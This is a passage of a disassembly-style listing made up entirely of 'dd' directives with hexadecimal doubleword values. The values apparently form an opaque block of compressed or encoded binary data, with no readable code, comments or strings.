		dd 8CAC5A81h, 77DCA0DFh, 8600010h, 0C918C0A7h, 0D124CEEEh
		dd 69027474h, 0A024399Ah, 0CCCBF094h, 0A8F20334h, 0B97F277Ah
		dd 79695907h, 0F8A0CD39h, 0E5572Eh, 453F24EDh, 36F22068h
		dd 9567440Ah, 6940CC93h, 481A7F8Dh, 9F261424h, 10D239BCh
		dd 5ECF4202h, 84A0CC7Ch
		dd 2468AA32h, 1AD30F03h, 0C0E395C8h, 2228F05Fh,	7C309410h
		dd 0C4F231CFh, 9A8E00E7h, 0BCF4BB33h, 0B663171Bh, 0C2841E29h
		dd 6608800Fh, 0C098716Dh, 0A358A481h, 8137C52h,	803097FCh
		dd 762C3732h, 63EF002Dh, 0F5E9B347h, 98917D5Fh,	4DDA8500h
		dd 11920BAh, 9C49998Ch,	20AA215Dh, 5218E044h, 8869B67Fh
		dd 1E4FF8FBh, 0DC7462h,	674D0753h, 320F7F0Fh, 3A23819h
		dd 26E3778Ah, 7A0F781h,	0A003D9FEh, 587468CBh, 13457305h
		dd 8031BF99h, 28600AE4h, 0B6D2015Eh, 2FB276F3h,	0B97C30A6h
		dd 7AB43622h, 60D107A1h, 80CD799Ch, 0CA63D747h,	97A93907h
		dd 5150DD30h, 0B18D6617h, 0B3A3864Ch, 0D3444864h, 0C91B01C1h
		dd 0EF8BF043h, 0F48160E7h, 3C3C697Fh, 1248770Ch, 0EF108124h
		dd 1C34F9B8h, 9002773Ch, 20BD448Ch, 50C83D00h, 0FACB4721h
		dd 1DC000D6h, 0B0497808h, 0D300C15Eh, 0BB50BE8Ch, 279FF8h
		dd 6091143Ch, 5E1F15FCh, 9D71A51Fh, 49DFA300h, 0E2B2FDA7h
		dd 834D0350h, 0F41ACCF0h, 79663800h, 0C8918E10h, 90010076h
		dd 0D57BFD77h, 58C4A6ADh, 4C8172F4h, 29C0752Ah,	0A866005Ah
		dd 0F9A34B44h, 7330C3CCh, 0CD9F2825h, 1AA718D1h, 0AB231126h
		dd 56C63211h, 0F997E200h, 7B13DBD4h, 2B980600h,	4D2EAF5Dh
		dd 0FBE456h, 35546A60h,	941F0297h, 3C3B5138h, 0B7D3802Bh
		dd 216AFE3Eh, 7848788Eh, 2E42392Fh, 8F66EE00h, 0F3A43F31h
		dd 0D8C57330h, 30BDAB64h, 0ECC991ACh, 8258A5DAh, 0E44300FCh
		dd 0A7581B0Dh, 0CC1906A8h, 0A957C9B5h, 7BB19201h, 0D90B597Eh
		dd 0E1F8E4h, 1756B930h,	0D0A68896h, 7C92DA3Ch, 0F41FFF26h
		dd 1C0D2200h, 2E4B655Fh, 18F1D162h, 802E5129h, 0F6178228h
		dd 55C71418h, 762419h, 1A22EB7Eh, 4D32CD37h, 6423DA01h
		dd 728C6D92h, 1F2EE8h, 0BE9AB105h, 771DA33Ah, 48C8BD73h
		dd 0C67F8353h, 7D80B00Fh, 4A0FD837h, 4A91B756h,	6980F448h
		dd 58A13082h, 39B03DB8h, 0FCE67F80h, 86D783C9h,	60797D1Fh
		dd 0E11DB580h, 90C8A8B4h, 85FE101Ch, 4BD20520h,	0FD1F455Eh
		dd 511D4101h, 619C2F10h, 9CE0762h, 0E035C7BBh, 8D7C9CC5h
		dd 0C15B3800h, 5026FCA6h, 3019ECACh, 5DB94DC7h,	0A00137D2h
		dd 1720AD34h, 2020F2DCh, 78018B24h, 0C689B969h,	0BBC08ADEh
		dd 0FC700C7Eh, 0E6A03595h, 0FA6101Dh, 0CE2E89F0h, 62EF1CBDh
		dd 0F000FC88h, 0AFC69812h, 0CC05DDBFh, 371FE59Dh, 0DEC4D080h
		dd 29C3245Ch, 0AC5B6058h, 98027F0h, 0D9660021h,	0C5F51ADBh
		dd 950148D3h, 2B3080A7h, 1822C7FCh, 0F3BD2Eh, 0BC9A8D75h
		dd 0DD00D9F1h, 0CF5497BEh, 0E6A71B43h, 87E30065h, 37EFD263h
		dd 0E00EE134h, 0C28BB489h, 480FD436h, 45E91E4h,	580882FEh
		dd 80648506h, 1F16707Eh, 3456F09h, 0C7DC20B8h, 0CC31462h
		dd 0A7FE99F2h, 8D006041h, 63588A70h, 7DFC50h, 3EAF2D98h
		dd 0A6D317D9h, 640829C0h, 0A5F765h, 0D7729AE6h,	4925517Dh
		dd 419B6F04h, 8DC09F08h, 0E3352DCh, 0E1851438h,	86374E80h
		dd 0B53B3D64h, 0EAC31C5Ch, 84004C24h, 0A2DBBBE4h, 27DE40CDh
		dd 0AD263515h, 1E493EA8h, 378733A1h, 0A361BB65h, 68E1195Ch
		dd 145B4020h, 0ECEA3645h, 1338F500h, 0F3AC8E80h, 0CE4D41C0h
		dd 4AB230h, 87B6849Ah, 6A0C8CC0h, 1002A4Ch, 92A4CCB0h
		dd 14ECCE5Eh, 0D9A600B7h, 1AA3C4A0h, 0CD0C4819h, 519A6BA4h
		dd 58E100FDh, 97530F0h,	0C4098403h, 73892B1h, 0F6F0E33Ch
		dd 26B47483h, 307D87h, 0BE14A376h, 0E1C34A0Fh, 882540C1h
		dd 3D5E0761h, 910C87ECh, 0C5213BA7h, 86989E0Dh,	840CCA48h
		dd 21A200D9h, 0BFEA7A44h, 0A8555D50h, 9A404CCCh, 219B9D03h
		dd 0D8661563h, 2E7D23Eh, 7ECF7E1h, 8C40BE18h, 65EC81CDh
		dd 0C4037B00h, 0EBF1950h, 8281C04Ch, 6E94A368h,	14FAA000h
		dd 4759273h, 8F58B5C1h,	0C99DCA12h, 7E05C820h, 5A40006Ah
		dd 48B07F45h, 0F213A804h, 4401ADFEh, 0B7DA8A0Eh, 0CBA4D2E0h
		dd 6D8174B1h, 0EC1F9E8Dh, 0EF004249h, 0F0AB574Fh, 535032h
		dd 2E2064C1h, 68BC3835h, 0FCCF6B00h, 0C72F771Ah, 641F261Dh
		dd 9827009Dh, 0C5CE9C7Dh, 0F05C11B8h, 0A2DE06CCh, 77D130AFh
		dd 225C0596h, 5D223FAh,	0C8CAD4h, 52786660h, 0A21ED836h
		dd 7C58AD94h, 58EB98B8h, 2960A9EFh, 0EAC1B302h,	0F4C394Ch
		dd 0A0A80554h, 3AC21E0Fh, 64890AB7h, 7B09F5Fh, 36E501D3h
		dd 1900F1A5h, 8FD09D05h, 0E467990h, 1715AC24h, 0C14480C2h
		dd 0AE09F0A1h, 0BEE450B4h, 5000B7DDh, 0FF1219B6h, 3436BDh
		dd 658B5F8Fh, 800F4186h, 0ACBFE1C0h, 495DB9h, 0F18B7DA9h
		dd 427F2D30h, 0AD3B9300h, 87A0A228h, 3DC975B4h,	8E30F578h
		dd 53B5FD69h, 714AB01h,	9996C6C5h, 5091BC8h, 649DA8F6h
		dd 8B00988h, 9E43CC02h,	9A1E027h, 60D6EDF7h, 131ABB2Ch
		dd 20C8EAACh, 0B0274E70h, 7CE0043Ah, 1A009170h,	47BA3455h
		dd 7BBCF31Dh, 0B828A048h, 0D133600Eh, 0A44C542Fh, 0F35E1404h
		dd 0C08C94DCh, 0D8621393h, 0A9A0AFEh, 0A1F76098h, 8B009224h
		dd 73D79F43h, 75D1FBh, 0D4DD333Fh, 0E40A6A2h, 4CBB2A1Fh
		dd 0EB04B8A8h, 0D381D9FDh, 694C88h, 93AC2D09h, 0A11CA57Ah
		dd 0D003FF00h, 0B0F8123Fh, 43911077h, 0C13603E5h, 172FC8DCh
		dd 5C6F1h, 9201E211h, 709A16Eh,	900F3014h, 24236Ch, 7B5C7F54h
		dd 5795B877h, 0B7766209h, 0A03418A7h, 79EC1C12h, 0BCBF802Bh
		dd 537ECC2Eh, 0AF294700h, 0EAB87DD9h, 0C5340038h, 9CBB3F79h
		dd 94C044Dh, 97AA8030h,	0E2AFDA75h, 893C007Ch, 0AE14D9D7h
		dd 5019E502h, 0C3F112B4h, 79812ACDh, 412B173Eh,	6BAC3081h
		dd 68F2460Ah, 0C881B0A8h, 7E654991h, 788548F1h,	6777DACh
		dd 51F9D3C4h, 8521120Bh, 0A8490441h, 610718A3h,	0C302A1CBh
		dd 191858A4h, 0D839ABD4h, 0D0300011h, 6A102B9Bh, 4507C8D6h
		dd 0F5E8972Ch, 0A8EB2131h, 88A18830h, 630189C1h, 0CA7204Bh
		dd 8C61DC16h, 61F0D9C5h, 0E287876h, 50D4FD65h, 90806987h
		dd 0A6154F83h, 0D69059F6h, 0C0F4345Ch, 2FE0A446h, 0E3FC0026h
		dd 0A4BC5F2h, 771F6D7Dh, 1D07DBDEh, 74A19FC1h, 0ABEC3779h
		dd 8060CE4h, 0B3D14B0Fh, 36856200h, 6A2E5C49h, 5A2F004Eh
		dd 0BA1FD4DFh, 0B133379Fh, 987D719Ch, 246B0Ch, 0D11F1130h
		dd 0E3A2FDE2h, 3AB05301h, 0FBE6720Bh, 8E5DFCh, 0C41F13B8h
		dd 4E87C1E4h, 6D776805h, 5082146Ch, 698860A1h, 0E0FC02A5h
		dd 0C699B186h, 0E8007064h, 7D42E3D0h, 0A61EA5Fh, 0BC928066h
		dd 641798h, 983AE8CCh, 0FA419950h, 0C0EA0C42h, 315B8FB0h
		dd 11166616h, 0DBF420AEh, 0E8FF4D0Eh, 781CA1A6h, 882172CFh
		dd 51D390C3h, 0D2CE093Fh, 2400AF6Ch, 0C3405941h, 19F1F44h
		dd 0D681B117h, 41F9FE87h, 0D403A338h, 1518C19Bh, 48C8DCAEh
		dd 399D607Ah, 0CD24049h, 19A8A21Eh, 0B5B10720h,	0A50A9934h
		dd 35C8CC11h, 0CA88757Bh, 0D0A40Eh, 0B6901F8Eh,	0ADD22067h
		dd 0A431F500h, 1DABD554h, 0FF53000Ch, 8581051Fh, 10B850C5h
		dd 0CA515612h, 0CC098D4h, 4674137h, 0C31878F0h,	60A0882Dh
		dd 3F00117Ah, 7C7EC6B4h, 5049345Eh, 4EDD0B9h, 0FC6687DDh
		dd 0AC5C80D8h, 65165275h, 1800BFC4h, 0BBB08E81h, 874124CEh
		dd 1FAB1174h, 0DC4637C0h, 19025A8h, 34F1A758h, 0F210B128h
		dd 260C7CE3h, 0E9460F5Ch, 282500C9h, 1E843F43h,	0D47DCB34h
		dd 1CC4C248h
		dd 0C38A3274h, 0A740C873h, 63C98C08h, 0D19B1154h, 75B46B0h
		dd 0B9A1A507h, 0F667D684h, 567A3930h, 0B6870267h, 0E5DC8B80h
		dd 0C6662440h, 0AE802C96h, 0C0DF7AE7h, 0FFC30064h, 65CFB36h
		dd 1352CA50h, 13506A4h,	110ED3h, 194D4E04h, 368C6978h
		dd 4B32643Fh, 529E1447h, 745C2EB1h, 4B8D5F4h, 0BFABBECAh
		dd 1338E4B1h, 3D4FA400h, 0A737C657h, 803090B7h,	21F730h
		dd 19CB46BEh, 3CCB662h,	0FDB35218h, 0A411C321h,	63860188h
		dd 2FA08C28h, 30C448B1h, 1316FF01h, 11FE6E9Ah, 7D243980h
		dd 0C6263A60h, 2E7CF53Bh, 5D06DA98h, 5151D2h, 0D70B8353h
		dd 0AE0C282Ah, 0CAB9E102h, 66298CD9h, 0B8C90008h, 0C2C04F31h
		dd 86007430h, 7EBC1DCCh, 171B10h, 790C63A1h, 1FC9245Bh
		dd 0C4BCAC50h, 575D4900h, 56901E8Ah, 7017B3Ah, 664BD37Dh
		dd 9C12AB48h, 0B087C50h, 80340E1Bh, 875A38F7h, 0B23DA45Eh
		dd 8D6B18BDh, 630431h, 45778CBFh, 1C8B7BFDh, 8036E138h
		dd 0E03E5DDCh, 221556Ch, 1846B1Fh, 48E40EB7h, 5D0D401Fh
		dd 0BA2E7FC0h, 1F5482h,	9745060Bh, 0A9F090E5h, 0C8AC5F0Eh
		dd 3133A0D8h, 6DD0FBh, 95061EA3h, 866F61D3h, 3073C01Ch
		dd 0A940315Dh, 0E10134B3h, 0E7EF004Bh, 0D15A2389h, 2D001E5Bh
		dd 0CD7429FAh, 0C060D288h, 341AB131h, 0CC0067A1h, 0CFC2B35Ah
		dd 3362D5h, 18139880h, 3AD18FCAh, 5C6C88h, 22974AF6h, 5B27AFF4h
		dd 37D66D00h, 0D8ACB6B9h, 3328C7D2h, 0B8ABD62Ah, 5C1FDCF0h
		dd 60BA9142h, 27CB3649h, 8D7112h, 2181354Ch, 39057293h
		dd 63DC3F18h, 1C57629h,	7EA0B056h, 0F0AB6D67h, 693DAFF6h
		dd 810D8061h, 26A96817h, 6C765474h, 6F9A0143h, 0F60FD1BAh
		dd 0BC07F4CCh, 0F1119C00h, 0EBD4DE9Eh, 0EB0C8ACh, 0CB145781h
		dd 1180281Ah, 38669E68h, 0D201B694h, 9BE0A5DEh,	3B03EB84h
		dd 0FEC86900h, 0B45EDD4Eh, 8F7402B2h, 0B3552154h, 5CA10EC0h
		dd 0E0C3532Ah, 678AFA03h, 0E1E3CF8Eh, 1996DFBDh, 51AA00E2h
		dd 0F9796E45h, 4AB5CD03h, 0B8F12172h, 2BD5B50h,	0DA7EBB95h
		dd 1C80C9D1h, 0E45C2C06h, 6CBA4700h, 93CC29DBh,	11FFC56h
		dd 86E24A0Eh, 80C6C9FCh, 93C09731h, 580CA6h, 7B9ABB96h
		dd 0E2E0A35Eh, 829F4B03h, 0C0B6250Bh, 603A229h,	0C8BC3037h
		dd 2004194h, 7556D448h,	75D9FE5h, 7292C9CEh, 8F632345h
		dd 90B4E7CFh, 9A6D5557h, 0B6A6110Ah, 5181A826h,	0AA5CC9E0h
		dd 52E56040h, 0E6FD00D9h, 8F11858Ah, 0ACA85836h, 39C03B1Ah
		dd 0F4146428h, 82EB3DE5h, 0AE2876C8h, 0E9892C88h, 615B076Fh
		dd 5EA35FECh, 3906A75Dh, 35D2AC31h, 434F0051h, 0EE8096D4h
		dd 4C92B078h, 28D92E00h, 38087015h, 2F3A03C5h, 5FD09EA6h
		dd 23973900h, 21BD7596h, 0E38C001Dh, 5CE51630h,	0ECA4C4BCh
		dd 48732905h, 1C00D1E0h, 6B4DD741h, 862A008Eh, 2836CB04h
		dd 246E1C70h, 2580BCA1h, 52E00222h, 0FF632869h,	0E1EB3988h
		dd 0B9FEEA00h, 90A995EDh, 5961D130h, 88B321h, 6D5450CAh
		dd 9C82605h, 0A1EC7401h, 817FAD08h, 0F998908Eh,	92B2EF80h
		dd 0BC30A24Dh, 0BAA5186Ah, 4B5302AEh, 930C9DEh,	1294D441h
		dd 0BC44D2h, 90ADE0FDh,	0D384C1B4h, 0D407EA00h,	0AF3CC411h
		dd 771A30A7h, 0FCB2B0C9h, 79B49207h, 73039413h,	23F7F04Eh
		dd 0F03B0E41h, 55E8FA0h, 0D943B9h, 0A9C16292h, 3460D2A7h
		dd 6E853371h, 65A40035h, 0C6B353EAh, 0B4A1BB74h, 1B8F10A2h
		dd 5831DD2Ah, 77F8395Eh, 82552501h, 0C2471DE0h,	1CBE8h
		dd 9D457B4Ah, 8DC75DBBh, 5C001890h, 0AC766693h,	6F7D396Ch
		dd 407EF997h, 0BE6012E3h, 67001BF1h, 6962F0CFh,	796D084h
		dd 8DE254D5h, 5E3980ACh, 0DD14D9D2h, 0E60CA73h,	0A21C5623h
		dd 80CE0754h, 0D0400DE4h, 0DDC8305Ah, 0E97BDCC1h, 4737B000h
		dd 0DFFE06BBh, 11798D0h, 0D94AC480h, 22C88E01h,	0A5180F90h
		dd 9C8E1E98h, 0F584E057h, 60443D70h, 0D953B9B6h, 0D230C4E5h
		dd 8F208936h, 76400B7h,	43E34556h, 3F30FA1Fh, 133C7842h
		dd 82190350h, 0B5493DC4h, 9CA4907h, 9A17C8CFh, 0F817036h
		dd 0E8476FB1h, 0E024FAE3h, 38573C80h, 641FFB00h, 66E36BCDh
		dd 99783067h, 0E12BDE49h, 8016F900h, 0B205FAABh, 213C00EDh
		dd 0E9DB1EB1h, 6E00729Ch, 0CEA3F3CDh, 14183829h, 94EAC935h
		dd 0A00164C7h, 22AD9630h, 85B44C3Fh, 0D1972D90h, 3C1B7403h
		dd 0C91AB87Fh, 939C1C5h, 20068E2Dh, 0CF73F1A0h,	304358h
		dd 88D781E0h, 892F27Fh,	58D0FCFFh, 5369BF80h, 16572033h
		dd 0C3E760B1h, 75C846AAh, 9E148D15h, 5B4C9FFh, 0A95C7A51h
		dd 0BA5BD020h, 4440491Ah, 935DE100h, 0D9C341Bh,	6D2CB700h
		dd 844DA94h, 8109001Eh,	72AB3740h, 9618229Fh, 8498CC8h
		dd 117E68h, 9B26EA1h, 513FE8DCh, 865FF900h, 2CEBFA7Fh
		dd 0C8E22CB6h, 15CA80A4h, 34A2D71Fh, 0DE455017h, 0B324F905h
		dd 24C1A284h, 6DF014F4h, 4D6E267h, 32A992A3h, 8C24C8D3h
		dd 80E54F3Eh, 0D938C260h, 650DE8h, 5714B5F5h, 7D3DC14Eh
		dd 66ECAF54h, 8672A30Eh, 9B9560ACh, 0E58F0Bh, 0B023EA37h
		dd 0D322F2AFh, 1AE11B13h, 78BF820h, 5028035Ah, 42EA6776h
		dd 5B46F6A8h, 979B6E17h, 215E6C30h, 132500AAh, 4D0CC986h
		dd 5C08D9A0h, 0BB35248Fh, 0ABC52A9h, 0A884C5CBh, 6C384C80h
		dd 0EC4D4001h, 0A963B3ACh, 7E876481h, 0FA33C31Ch, 46F5801Dh
		dd 66F30001h, 0FD0A816Dh, 0BFEED8E2h, 0A22C7222h, 1C64C430h
		dd 4164EE7Ch, 1A42F23Ch, 8C19802Ah, 3E038618h, 0F72B175Dh
		dd 44B30B8Dh, 0EC6AD400h, 4C06BE5Ah, 0AC78BA57h, 79700059h
		dd 0FBC6F4DBh, 391C7551h, 0F4E6FC1Bh, 30E3628Ah, 6B309280h
		dd 0A72E56h, 436E4065h,	9846BA2Ch, 0F3C4AF4h, 2AEB9F90h
		dd 0F802A911h, 7D8F5081h, 9BD9C99h, 0FB9C9400h,	0B2C8014Dh
		dd 4FDDD4E5h, 3F18202Ch, 8839A600h, 0E191BF25h,	41CE00D8h
		dd 1B5726Dh, 2A090ABEh,	90156867h, 0F417BCh, 57F3EF3h
		dd 61B160F6h, 0FD6AC500h, 0FEAB2E02h, 1B892C5Dh, 11D54014h
		dd 0A204EE4Dh, 979744Ah, 0B19304EBh, 6E8CC127h,	3D8CFC33h
		dd 0D1A74530h, 115B93E3h, 7C61D2C8h, 46EEF8A0h,	0F676D700h
		dd 21964F55h, 86AD0292h, 72A771D5h, 80101F62h, 0FA2C5742h
		dd 0A240BCD9h, 2A89615Eh, 8CDBF3h, 0DCD8D623h, 0B0B2E914h
		dd 93EF361Dh, 2F156400h, 0C0B17D50h, 57E7C991h,	320217EAh
		dd 422DE9E5h, 74064C8h,	0F409D89h, 4985E34Dh, 3D7230E8h
		dd 9290F24Ch, 46116030h, 0FC4C0039h, 4BCA57B0h,	0E25C8840h
		dd 0A678006Ch, 0BD673DA7h, 8C32ED5Ch, 49A47D18h, 3C00CB7Ch
		dd 0FDD8D15Dh, 0A13A2C73h, 0F872A478h, 48F48F05h, 99604F81h
		dd 0D90B1BE3h, 0CA0868F8h, 8FB8131Bh, 0C417D96h, 59D2B995h
		dd 54000A11h, 0B3B14E6Ah, 259DBCA4h, 8010C9C8h,	400E8835h
		dd 2D3A5B66h, 74F4C096h, 6DAB01CFh, 39709D8Ah, 684C30AEh
		dd 2A342700h, 9892C69Fh, 0C0B178h, 32B176ACh, 9B00128Ah
		dd 8DABC9A8h, 26E8BCAh,	0A43F7593h, 0DCC0C3F9h,	620040EDh
		dd 0B76A4B2Eh, 15F45A95h, 0F03C1A80h, 0FAC84E00h, 0EB69C2ABh
		dd 3F67AA00h, 45480ED1h, 0EEE20158h, 3D939D41h,	50DB709Fh
		dd 4C53AC04h, 20B2C452h, 2E25CC00h, 0E1BC35A6h,	81B4DF00h
		dd 0C52B39E3h, 0DDF50BFAh, 9898B0DAh, 2E00CC13h, 3BDF77C8h
		dd 506614h
		dd 0AFD78FB6h, 2282BFEFh, 710CC4B0h, 801495B0h,	3074915Ah
		dd 9BFBC880h, 0E0926C18h, 538FB528h, 0CF1FCC32h, 0B87418CAh
		dd 5B09306Ah, 80B0B66Bh, 4329A538h, 7F8898D4h, 20394A9Ah
		dd 0B83C99A0h, 12370400h, 0B5CB8D8Ch, 0B15C2544h, 96D74C98h
		dd 58E65D7Bh, 951CC100h, 0D8DC8CADh, 3FE62CE1h,	5D680400h
		dd 2640B2D6h, 6F0020E5h, 119BEC94h, 0CCBF07FFh,	615996B0h
		dd 40E12F7Eh, 0D95FBED0h, 8CE0352Eh, 826D3600h,	14B0A475h
		dd 28A85CEAh, 0F3005453h, 49372061h, 7B14974Ch,	60AEB821h
		dd 0D5B1BD29h, 0A14D002Dh, 9C387494h, 250073D0h, 0F082E5ADh
		dd 26B54EC0h, 928E099h,	704EA5F2h, 0A418460Fh, 0E21940F8h
		dd 29B5393h, 50214D47h,	0F4C13F15h, 3E8F11D8h, 0AE002836h
		dd 256B8CFCh, 0D3004C5Dh, 0EF623CF0h, 481AFAC2h, 35C0D40Ah
		dd 7C872EB4h, 3AF0FEE8h, 0FA3CC100h, 6A0CE78Eh,	751A2A84h
		dd 0F37F58D4h, 8C263D00h, 0F230801h, 590058F4h,	0BE2014A0h
		dd 534732Fh, 1563455Bh,	29CC09FBh, 87C6CC85h, 34A83890h
		dd 0D9C80B18h, 174D7511h, 266366h, 0FA82FF91h, 833ACE84h
		dd 277C0078h, 0A9F16CA6h, 7E6A0053h, 0C992858h,	671355DAh
		dd 8031412Ah, 0D848BF5Ch, 9468265Eh, 0D9580954h, 8043140Ah
		dd 0FF4B553Ch, 0B4B9D1FAh, 0E1CDB900h, 14683F4h, 18E8F68Dh
		dd 0CCB352E9h, 84A6203Ch, 5435470Fh, 0FA51E099h, 9E52A4h
		dd 0B8CDED89h, 0F336ACBAh, 7EB1CCEDh, 0BFA8C8A0h, 0CA22D4A4h
		dd 281B50C9h, 541003F9h, 0CB0B021Fh, 0C18745F0h, 6A0020E0h
		dd 7E4B2C56h, 1A3EC2Dh,	8B6DB56Bh, 80D9AC01h, 98B13349h
		dd 0C03F1A46h, 0FB0B8A11h, 44047D5Eh, 0AF301CB6h, 34FEBC81h
		dd 360C9872h, 0E4997E1h, 1F23F407h, 4F50852Bh, 0DF55A3h
		dd 9B9F5B22h, 80FAB941h, 0A0E8B828h, 0C80C4278h, 7130DCACh
		dd 0E4A4C9h, 277228E7h,	976F0782h, 89348503h, 18A60F3Dh
		dd 0B95ED279h, 0E8072CC4h, 0FE7D066h, 80937B03h, 0A0DEFFh
		dd 5A5C3440h, 0F6742996h, 0EB327338h, 20D00E39h, 4E0DB23Bh
		dd 0D2B112BBh, 1002078h, 99018381h, 73433077h, 20658FFAh
		dd 64002BE2h, 486A5547h, 0A43424F5h, 5916C97Ch,	0C849891Bh
		dd 0C52404C8h, 0F3937058h, 7800F091h, 0EBB52EEh, 0EB9039h
		dd 111FD060h, 0B80BDC5Eh, 51082C09h, 1C4410F3h,	7A291D24h
		dd 0CA894020h, 5BBD60B4h, 0A10080B0h, 0D18B6B72h, 1F4C99B0h
		dd 40B78239h, 152432E1h, 0AC090387h, 0FA414CAh,	78946486h
		dd 1F928CB4h, 0C0BBFEA9h, 9E6A987Ah, 7852DA85h,	0E62B00F4h
		dd 0FECF2263h, 9A59012h, 0D39F1350h, 0F9987C13h, 0F60EBEF1h
		dd 0E0BDA1F3h, 0B355321Bh, 0D93F09F0h, 880A38Dh, 59452018h
		dd 0ECB86900h, 0F2646CF5h, 0A6F4095Bh, 0AC44CB9Ah, 0FC831D13h
		dd 0A5F34A00h, 26800C58h, 47F81506h, 0A0BC2747h, 42315696h
		dd 3EE5B800h, 65457275h, 789F1844h, 9A60C198h, 0F6DBD71Ch
		dd 549B3A47h, 16B5B4F0h, 0E31813AAh, 0E6F488A4h, 3F998700h
		dd 61ED7B90h, 85760058h, 820A23F9h, 7400C339h, 5E98D8C1h
		dd 30E8DA62h, 0F2699B34h, 8E007794h, 96E23DC8h,	75E99E49h
		dd 0CC1417FAh, 0BB3B00FFh, 0BA33BC32h, 9D4BF4F0h, 0E0E89025h
		dd 0B8E77407h, 0C9B1C00Ch, 0FC00FFB3h, 0FA3A56A4h, 30F24829h
		dd 0DA49E132h, 7363C90Eh, 0F03D2741h, 0E47C99h,	173C6144h
		dd 0DEA27BDAh, 0A80F92C6h, 0D9E101A9h, 0C1056D83h, 844C7004h
		dd 695E931Ch, 8E96428Bh, 81FA0040h, 2C72C86h, 90C5B353h
		dd 3440C82Ah, 0AB1D5CB2h, 20659BCBh, 296D5B38h,	0C9580402h
		dd 0C078F754h, 0D8F3A0D0h, 3D3688h, 46471E85h, 0CB273CACh
		dd 0B200FCF0h, 0B199D8E3h, 245695EAh, 6004B5A5h, 0F9775A3Bh
		dd 0BF766800h, 6151D3ABh, 9DBB0396h, 71F3B436h,	8DDA6101h
		dd 0B202381Bh, 1E3A99CCh, 406BC6D1h, 0A9B78B5Fh, 98146581h
		dd 0C0F8A6C8h, 88CF5C0Dh, 731903BEh, 65EF4510h,	0E08FD6F9h
		dd 0DCA2A50Ah, 4D008C46h, 4FDEC4B6h, 0BFEBBC7h,	1BD62690h
		dd 0EF86CC90h, 0C4191200h, 586CD8F8h, 1CDD026Fh, 372C72A7h
		dd 430B2064h, 188D44D1h, 0FB7CB660h, 0F80DEF8h,	0C0B7684Ch
		dd 2118F3EFh, 560701F5h, 0FECB051Fh, 81069200h,	3E1C0704h
		dd 6026556Ch, 715B7296h, 181FDB24h, 9983801h, 9473DFACh
		dd 18638202h, 0E4D1CA42h, 0BBFB0038h, 0D6C88010h, 2A0D0A86h
		dd 60C44C0Eh, 0D0C2F756h, 7EB8BC03h, 0A0D15C8Dh, 5C5EEC8Ah
		dd 0C622B4CDh, 9B1D4016h, 1F6A8C8h, 680D6F1Fh, 70CDD8DBh
		dd 720571F0h, 0F3B1186Dh, 8D2B1400h, 13C7C9D9h,	0C8498F95h
		dd 394D32B8h, 0C5EC00FAh, 0D3C3E117h, 2ADC0089h, 9285A08Bh
		dd 37678F81h, 83E9A931h, 0B2753F38h, 0E6446080h, 0BCEE50C6h
		dd 507790A7h, 52F58F3h,	48F7F92Bh, 8F6420FEh, 5B50A3FCh
		dd 0DC0272A4h, 0E5D95514h, 44C479h, 433D38AEh, 0C81E82E7h
		dd 0E21F1300h, 0A6F72C30h, 41B71836h, 2A688880h, 0C0591760h
		dd 0BB7B30h, 44283B37h,	2AA8D8D6h, 27329803h, 0B37DBAh
		dd 757F8A29h, 4A3B8337h, 0A3FC502h, 5AD386A6h, 4F090084h
		dd 30F87CD5h, 4A7A70C9h, 2CF04848h, 45160C23h, 0F1CBC004h
		dd 0DB34CCh, 8143C410h,	67919869h, 0A1D739h, 0A2798C03h
		dd 725E7240h, 118992Ah,	105A95CDh, 693C30B9h, 0F386ED08h
		dd 54019EC5h, 0B441A4F2h, 4870CAF0h, 0FB0AACB4h, 2A01DAAh
		dd 0DB79C443h, 170368D9h, 0D07A3EE4h, 287D3B97h, 1B4B8F7h
		dd 0F41B3C5Ch, 808ABAF8h, 53828070h, 9CD0CB8Dh,	56F78090h
		dd 0AEDFF169h, 0D14DF007h, 6620DA21h, 0C57E927h, 0B579E4A3h
		dd 32070AC1h, 9350B16Fh, 7529E0D0h, 3CF76C5h, 56455BFCh
		dd 0D1E2A58Ah, 7800F85Ah, 0B92ED357h, 0B02A3724h, 2B3212F8h
		dd 2C3F870h, 9CDA7CAFh,	0E9E78269h, 0B06297h, 3B1FFC38h
		dd 464E007Ah, 98F47299h, 97EAAAB0h, 9C9ABB0Bh, 29FD805Ch
		dd 98D046A5h, 0E7380BB0h, 0B4481503h, 41E2681Bh, 1194E600h
		dd 0BDD635D8h, 0B6FC07DEh, 0D0C4B9CEh, 7DA3093Fh, 140040B1h
		dd 6349CF3Eh, 0C9610136h, 1897BCC5h, 75DBF8CAh,	48B1AC25h
		dd 31A604h, 3E64328h, 402A0685h, 0D11398B1h, 73AEACD0h
		dd 600A0019h, 38806E44h, 50B8B0B8h, 4D685B01h, 155E3DD8h
		dd 20341C42h, 6DD737E3h, 0E14F3E1Fh, 0DE196718h, 14D20097h
		dd 5E897232h, 8A0725B6h, 6A845C4Ch, 8F358DF0h, 5CFFE8AEh
		dd 0A280C879h, 0B0019BADh, 13166F75h, 0F4006C7Dh, 0C75F63C6h
		dd 0B95A2E85h, 0D2F7022Ch, 344699A9h, 2F14D400h, 0B4872C97h
		dd 0DE900E36h, 9AC006D2h, 705CEC8h, 81C5C2Ch, 207B9F40h
		dd 0F4E10722h, 60E46065h, 0E883740Eh, 0A8F03C3Ch, 3044A472h
		dd 9BE23CA3h, 2A00E16Fh, 291BC39Fh, 70EB11C0h, 0EE77512h
		dd 59F4819Bh, 72CA6500h, 26903FFFh, 5E714500h, 5C4D5052h
		dd 0D9A8095Ah, 9480EAD8h, 0D04FA099h, 0C6807894h, 57847ED5h
		dd 91F0016Ah, 7813C528h, 90FC70E5h, 9FA00295h, 92908A76h
		dd 10E4A11Fh, 0BA3BB140h, 7BD5001Ah, 0F06EF6CFh, 3D070845h
		dd 68098DEBh, 10009E87h, 3BAF9D7h, 6E6D2BA6h, 0CF80FFE5h
		dd 21C0C886h, 680E366Fh, 0E411C0F6h, 14B74531h,	3706B800h
		dd 0B52DBC0Dh, 0CAED5CF5h, 287DB118h, 0FD0012CAh, 71E7BEEAh
		dd 0C009F36Ch, 53ED9E19h, 4501F92Ch, 0B3737006h, 6181D291h
		dd 0CDA61FB7h, 7242C06Eh
		dd 4500E273h, 0E319F36h, 263EE039h, 0BD321Dh, 0F5F39707h
		dd 7330438Ah, 9F376194h, 0FA5A00DBh, 24338788h,	6F00E185h
		dd 5F1CF749h, 0D49BDDh,	6569514Ah, 0BBD9368h, 0B60098DCh
		dd 8675570Eh, 0A3400F2h, 0FBA401EAh, 731F35Bh, 6BECC11Fh
